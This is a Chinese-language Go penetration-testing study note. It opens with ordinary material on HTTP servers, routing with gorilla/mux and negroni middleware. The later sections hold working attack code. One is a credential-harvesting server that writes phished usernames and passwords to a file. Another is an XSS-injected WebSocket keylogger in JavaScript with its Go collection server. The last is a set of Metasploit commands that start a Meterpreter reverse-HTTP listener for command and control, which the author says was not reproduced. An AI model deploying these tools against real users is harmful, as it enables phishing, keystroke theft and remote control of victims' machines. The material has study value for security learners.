Go渗透测试笔记(四)–HTTP服务器,路由,中间件

0x00 HTTP服务器基础

1. 构建一个简单的服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"fmt"
"net/http"
)

func hello(w http.ResponseWriter,r * http.Request){
fmt.Fprintf(w,"Hello %s \n",r.URL.Query().Get("name"))
}
func main() {
http.HandleFunc("/hello",hello)
http.ListenAndServe(":8000",nil)
}

主要是使用HandleFunc创建一个Handler,然后启动监听器访问即可

同时在写处理请求的时候,需要两个参数,一个是http.ResponseWriter,用于对请求的写入,另一个是Request类型的指针,它运训我们从传入的请求信息中去读取信息。

http.HandFunc()是怎么运行的?

由Go文档可知,处理程序被放置在DefaultServerMux上面,ServerMux是多路复用器(server multiplexer)的简写,它可以处理多模式函数的多个HTTP请求,它使用gorountine执行此操作。

2. 构造一个简单路由器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package main

import (
"fmt"
"net/http"
)

type router struct {
}

func (r *router)ServeHTTP(w http.ResponseWriter,req *http.Request) {
switch req.URL.Path {
case "/a":
fmt.Fprintf(w,"Executing /a")
case "/b":
fmt.Fprintf(w,"Executing /b")
case "/c":
fmt.Fprintf(w,"Executing /c")
default:
http.Error(w,"404 not found",404)

}
}
func main() {
var r router
http.ListenAndServe(":8000",&r)
}

这里重写了ServeHTTP

3. 构造一个简单的中间件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package main

import (
"fmt"
"log"
"net/http"
)

type logger struct {
Inner http.Handler
}

func (l *logger)ServeHTTP(w http.ResponseWriter,r * http.Request) {
log.Println("start")
l.Inner.ServeHTTP(w,r)
log.Println("Finish")
}

func hello(w http.ResponseWriter,r *http.Request) {
fmt.Println(w,"Hello\n")
}
func main() {
f := http.HandlerFunc(hello)
l := logger{Inner:f}
http.ListenAndServe(":8000",&l)

}

我们创建了一个外部程序,该程序在每次请求时都会在服务器上记录一些信息,并调用函数hello(),我们将此日志逻辑包装在函数中。

4.使用 gorilla/mux 包进行路由

gorilla/mux是个成熟的第三方路由包,可以基于简单,复杂的模式进行路由。他包含正则表达式,参数匹配,动词匹配及子路由等其他功能

同时,我们需要先下载gorilla/mux

go get github.com/gorilla/mux

现在,开始使用这个路由包,使用mux.NewRouter()创建路由器

1
r := mux.NewRounter()

返回的类型接口实现了http.Handler,但同时也具有许多其他关联的方法。其中,最长用的方法是:HandleFunc(),如果想定义新的路由来对/foo模式的Get请求,则可以使用如下

1
2
3
r.HandleFunc("/foo", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w,"hi foo")
}).Methods("Get")

由于调用了Method(),因此,只有Get请求才能匹配此路由。所有其他方法将返回404请求。可以在此之上链接其他限定符,例如,与特定主机头值匹配的Host()。以下内容仅返回与主机头设置为www.foo1.com的请求匹配

1
2
3
.HandleFunc("/foo1", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w,"hi foo1")
}).Methods("Get").Host("www.foo1.com")

有时,在请求路径中匹配并传递参数会很有帮助。gorilla/mux很适合。

打印出请求路径在user之后的所有内容

1
2
3
4
r.HandleFunc("/user/{user}", func(w http.ResponseWriter, r *http.Request) {
user := mux.Vars(r)["user"]
fmt.Fprintf(w,"hi %s\n",user)
}).Methods("Get")

在定义请求路径时,可以使用花括号定义请求参数。可以将此视为已经命名的占位符。然后再函数中调用mux.Var(),将请求对象传递给它。此时会返回map [string]string

此外还可以使用正则表达式来限定传递的模式。例如,指定user的参数必须为小写字母

1
2
3
4
r.HandleFunc("/user/{user:[a-z]+}", func(w http.ResponseWriter, r *http.Request) {
user := mux.Vars(r)["user"]
fmt.Fprintf(w,"hi %s\n",user)
}).Methods("Get")

完整的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package main

import (
"fmt"
"github.com/gorilla/mux"
"net/http"
)


func main() {
r := mux.NewRouter()

r.HandleFunc("/foo", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w,"hi foo")
}).Methods("Get")

r.HandleFunc("/foo1", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w,"hi foo1")
}).Methods("Get").Host("www.foo1.com")

r.HandleFunc("/user/{user:[a-z]+}", func(w http.ResponseWriter, r *http.Request) {
user := mux.Vars(r)["user"]
fmt.Fprintf(w,"hi %s\n",user)
}).Methods("Get")

http.ListenAndServe(":8000",r)
}

5. 使用negroni包构建中间件

我们之前的中间件,记录了有关请求处理的开始和结束时间,并且返回了响应。再很多情况下,中间件其实不必对每个传入的请求都进行操作。使用中间件的原因由很多,其中包括记录请求,对用户身份验证和授权以及映射资源。

例如可以编写用于执行基本身份认证的中间件,它可以为每个请求解析一个授权标头,验证所提供的用户名和密码。如果凭证是无效的,则返回401响应。我们还可以将多个中间件函数链接再一起,从而能执行完一个中间件后执行下一个中间件。

此前创建的日志记录中间件仅包装类了一个函数,实际上,并没有什么作用。因为一般都是链式调用

接下来使用成熟的包negroni

1
go get github.com/urfave/negroni

然后进行一个简单的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"github.com/gorilla/mux"
"github.com/urfave/negroni"
"net/http"
)

func main() {
r := mux.NewRouter()
n := negroni.Classic()
n.UseHandler(r)
http.ListenAndServe(":8000",n)
}

其中 negroni.Classic()创建了一个指向Negroni实例的新指针。

要创建新指针由很多种方法

negroni.Classic()或者 negroni.New()

但是 negronic.Classic()使用默认的中间件,包括请求记录器,再默认的情况下拦截和恢复的中间件,以及服务于同一个目录的公共文件夹的中间件,函数nehgroni.New()不会创建任何默认的中间件

同时,negroni.Use(NewRecovery())可以用来使用恢复包

接下来通过n.UseHandler(r)将路由器添加到中间件堆栈。在继续设计的时候,要考虑执行顺序。

例如:我们希望身份验证检查中间件需要在身份验证的处理函数之前运行。在路由器之前添加的任何中间件都将在处理函数运行前执行。路由之后添加的任何中间件都将在处理函数之后执行。

发出 web请求后, negorni 将中间件信息打印到标准输出,

默认的插件固然好用,但我们需要进行一个包装

首先输出一条消息,并将执行传递给下一个中间件

1
2
3
4
5
6
7
type trival struct {
}

func (t * trival)ServeHTTP(w http.ResponseWriter,r * http.Request,next http.HandlerFunc) {
fmt.Println("Executing trival middleware")
next(w,r)
}

我们重写了ServeHTTP的方法,加了一个 http.HandlerFunc 的参数,用来指向下一个中间件函数。

调用了 next 传递参数,实现在中间件链上的转移。

个人感觉,这种方式有些类似于链表

不过,需要告诉negroni包要将上述实现作为中间件链的部分,为此,可以调用nergoniUse方法,并将接口nergroni.Handler实现的实例类传递给该方法。

1
n.Use(&trival{})

虽然使用该方法编写中间件非常方便,但是,该方法也有一个弊端。无论编写什么方法都需要使用negroni包。

例如,我们正在写一个将安全标头写入响应的中间件包,希望它可以实现Http.Handler,这样就可以在其他应用程序中使用该接口,因为绝大多数程序栈似乎都不太欢迎接口negroni.Handler

初次之外,还有两种方法让negroni包使用我们的中间件。其中一种就是UseHadnler(handler http.Handler)

第二种方法是,调用UseHandlerFunc(HandlerFunc func(w http.ResponseWriter,r * http.Request))

后者不太常用,因为它不允许放弃执行链中的下一个中间件。例如,一个中间件是用于执行身份验证的,如有无效凭证或者会话信息,则会返回401响应,并且停止运行。那么,第二种就完全不适合。

6. 使用negroni包添加身份认证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package main

import (
"context"
"fmt"
"github.com/gorilla/mux"
"github.com/urfave/negroni"
"net/http"
)

type badAuth struct {
Username string
Password string
}
func (b *badAuth)ServeHTTP(w http.ResponseWriter,r * http.Request,next http.HandlerFunc) {
username := r.URL.Query().Get("username")
password := r.URL.Query().Get("password")
if username != b.Username || password != b.Password {
http.Error(w,"Unauthorized",401)
return
}
ctx := context.WithValue(r.Context(),"username",username)
r = r.WithContext(ctx)
next(w,r)
}
func hello(w http.ResponseWriter, r *http.Request) {
username := r.Context().Value("username").(string)
fmt.Fprintf(w, "Hi %s\n", username)
}

func main() {
r := mux.NewRouter()
r.HandleFunc("/hello",hello).Methods("GET")
n := negroni.Classic()
n.Use(&badAuth{
Username: "admin",
Password: "password",
})
n.UseHandler(r)
http.ListenAndServe(":8000",n)
}

这里加入了badAuth,该中间件将仅用于模拟身份验证。该中间件有两个字段,UsernamePassword,并且实现了接口negroni.Handler,因为它定义了包含三个参数的ServeHTTP()方法,在该方法中,首先获取用户名和密码,然后与我们拥有的字段进行比较,如果用户名密码不正确,将发送401状态码。

如果凭证正确,我们需要将用户名添加到请求上下文中。调用context.WithValue()从请求中初始化上下文,在该上下文中设置一个username的变量。然后,可以调用r.WithContext(ctx)来确保进行新的上下文。

在函数hello()中,可以使用函数Context().Value(interface{}),从请求上下文中获取用户名,该函数本身返回一个interface()。因为他是一个字符串,所以可以直接使用断言。

7. 使用模板生成HTML响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package main

import (
"html/template"
"os"
)

var x = `
<html>
<body>
Hello {{.}}
</body>
</html>
`
func main() {
t, err := template.New("hello").Parse(x)
if err != nil {
panic(err)
}
t.Execute(os.Stdout, "<script>alert('world')</script>")
}

定义一个x变量,储存模板,在模板内部,可以使用NaN 约定定义占位符,可以是一个结构体,也可以是一个基本数据类型。在这里,使用单个.,告诉程序包,要在此处,渲染整个上下文。,如果我们要将Username内容床欸模板,我们只需要,{{.Username}}渲染该字段。

接下来创建一个模板,然后进行解析,最后返回一个Template的指针。

panic 可以用作处理错误

最后使用Execute(io.Writer,interface{}),然后将模板传递给第二个变量,,这里使用os.Execute()生成了HTML

0X01凭证收割

社会工程学的主要内容之一是:凭证收割攻击。这种类型的攻击通过诱使用户在原始网站的复制版本中输入凭证来捕获用户的登录信息。

拥有用户的凭证之后,就可以在他们实际的站点上进行登录,这通常是突破组织边界的入口。

我们首先需要copy一份网站源码,地址在这:

https://github.com/blackhat-go/bhg/tree/master/ch-4/credential_harvester/public

index.html中的这段内容,修改为如下

1
<form name="form" method="post" action="http://127.0.0.1:8080/login">

然后我们开始使用 python -m hpp.server 开一个http服务

然后我们编写接受端的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package main

import (
"github.com/gorilla/mux"
"net/http"
"os"
"time"
log "github.com/sirupsen/logrus"
)

func login(w http.ResponseWriter, r *http.Request) {
log.WithFields(log.Fields{
"time": time.Now().String(),
"username": r.FormValue("_user"),
"password": r.FormValue("_pass"),
"user-agent": r.UserAgent(),
"ip_address": r.RemoteAddr,
}).Info("login attempt")
http.Redirect(w, r, "/", 302)
}
func main() {
fh, err := os.OpenFile("credentials.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
if err != nil {
panic(err)
}
defer fh.Close()
log.SetOutput(fh)
r := mux.NewRouter()
r.HandleFunc("/login", login).Methods("POST")
r.PathPrefix("/").Handler(http.FileServer(http.Dir("public")))//提供静态文件
log.Fatal(http.ListenAndServe(":8080", r))
}

这里首先,我们需要导入包github.com/Sirupsen/logrus,这是我们希望使用结构化日志的记录包。

我们首先定义了函数login,使用log.WithFields(),写出捕获的数据。显示,时间,用户名和密码,用户代理和请求的IP地址。然后通过调用FormValues(string)来获取这些元素。需要与表单中存在的名字相对应。之后重定向到根目录。

在main函数中,0600 指的是创建新文件,创建文件之后,使用log.SetOutput()将句柄传递给他,以配置日志记录包并将其写入该文件。接下来,还需要告诉路由器从一个目录中提供静态文件。

开启的文件夹再以另一份形式放在代码的根目录下,之后当我们运行代码后,访问伪造的80端口,会将信息发储存在txt中,并且重定向到正确的8080端口

0x02 使用 websocket API实现按键记录

近年来,全双工通信协议(websocket API)日益流行,许多浏览器开始支持他,他为web应用服务器和客户端之间的有效通信提供了一些方法。最重要的是,他允许服务器无需轮询就可以将消息发送到客户端

websocket对于构建诸如聊天游戏等实时应用程序比较有用。但我们也有其他用处,例如,将键盘记录程序注入,捕获用户按下的每个键。当我们可以进行xss攻击以后,我们可以包含一个javascript文件,以处理来自客户端websocket响应。

我们使用JS Bin(http://jsbin.com)来进行测试`payload`,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>Test</title>
</head>
<body>
<script src="http://127.0.0.1:8080/k.js"></script>
<form action='/login' method='post'>
<input name= 'username' />
<input name= 'password'/>
<input type='submit'/>
</form>
</body>
</html>

当我们打开页面的时候,会提示创建了连接

如下:

当我们再打开的html页面键入的时候,会自动捕捉

先定义一个js模板,如下

1
2
3
4
5
6
7
8
(function() {
var conn = new WebSocket("ws://{{.}}/ws");
document.onkeypress = keypress;
function keypress(evt) {
s = String.fromCharCode(evt.which);
conn.send(s);
}
})();

后端代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package main

import (
"flag"
"fmt"
"html/template"
"log"
"net/http"

"github.com/gorilla/mux"
"github.com/gorilla/websocket"
)

var (
upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
}

listenAddr string
wsAddr string
jsTemplate *template.Template
)

func init() {
flag.StringVar(&listenAddr, "listen-addr", "", "Address to listen on")
flag.StringVar(&wsAddr, "ws-addr", "", "Address for WebSocket connection")
flag.Parse()
var err error
jsTemplate, err = template.ParseFiles("logger.js")
if err != nil {
panic(err)
}
}

func serveWS(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
http.Error(w, "", 500)
return
}
defer conn.Close()
fmt.Printf("Connection from %s\n", conn.RemoteAddr().String())
for {
_, msg, err := conn.ReadMessage()
if err != nil {
return
}
fmt.Printf("From %s: %s\n", conn.RemoteAddr().String(), string(msg))
}
}

func serveFile(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/javascript")
jsTemplate.Execute(w, wsAddr)
}

func main() {
r := mux.NewRouter()
r.HandleFunc("/ws", serveWS)
r.HandleFunc("/k.js", serveFile)
log.Fatal(http.ListenAndServe(":8080", r))
}

这里需要先下载github.com/gorilla/websocket的包

首先,定义一个websocket.Upgrader,该实例会将每个来源列入白名单,允许所有来源的做法是不安全的,但是,这里,我们选择继续使用,当作测试用例。之后再定义监听地址和 ws地址。以及定义js所使用的模板地址

然后创建init函数,再main函数之前,自动调用

flag包用来设置参数和解析值:地址,参数,默认值和备注

然后使用Parse()进行解析

接下来定义了一个 ServeWS的函数,用来处理websocket通信,通过upgrader.Upgrade方法,创建新的websocket,Conn实例。方法Upgrade()升级了HTTP连接以使用websocket协议。这将意味着此函数处理任何请求都将升级为使用websocket,再无限的for循环中进行交互,调用conn.ReadMessage()读取信息,

然后我们创建一个serveFile()的处理函数,此函数将检索并且返回javascript的模板内容,其中包括上下文数据,为此,我们需要将Content-Type标头,设置为application/javascript,这就告诉连接正文,将与浏览器之间的响应内容视为javascript

之后设置解析我们传入的wsAddr

1
jsTemplate.Execute(w, wsAddr)

最后我们只要创建路由就可以了。

0x03 多路命令和控制

在本节中,我们需要学会 go 创建反向http代理,以便可以基于Host HTTP标头动态路由中传入的Meterpreter会话,这正是虚拟网站托管的方式。

首先,代理会充当重定向器,允许你仅公开域名和IP地址,而无需公开metasploit监听器,如果重定向器曾被列为黑名单,你可以直接移除他,而不是移除C2服务器。其次,你可以扩展这里的概念来进行域前置,他是利用可信第三方域绕过限制性出口的技术。

首先,我们需要设置单独的MeterPreter反向HTTP监听器

大致如下

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter_reverse_http
payload => windows/meterpreter_reverse_http
msf6 exploit(multi/handler) > set LHOST 192.168.68.130
LHOST => 192.168.68.130
msf6 exploit(multi/handler) > set LPORT 80
LPORT => 80

msf6 exploit(multi/handler) > set ReverseListenerBindAddress 192.168.68.130
ReverseListenerBindAddress => 192.168.68.130
msf6 exploit(multi/handler) > set ReverseListenerBindPort 20080
ReverseListenerBindPort => 20080
msf6 exploit(multi/handler) > exploit -j -z
[] Exploit running as background job 0.
[
] Exploit completed, but no session was created.

[*] Started HTTP reverse handler on http://192.168.68.130:20080

exploit -j -z #handler后台持续监听

然后,我们再以同样的方式,开一个30080端口

这个没有成功复现,鸽一会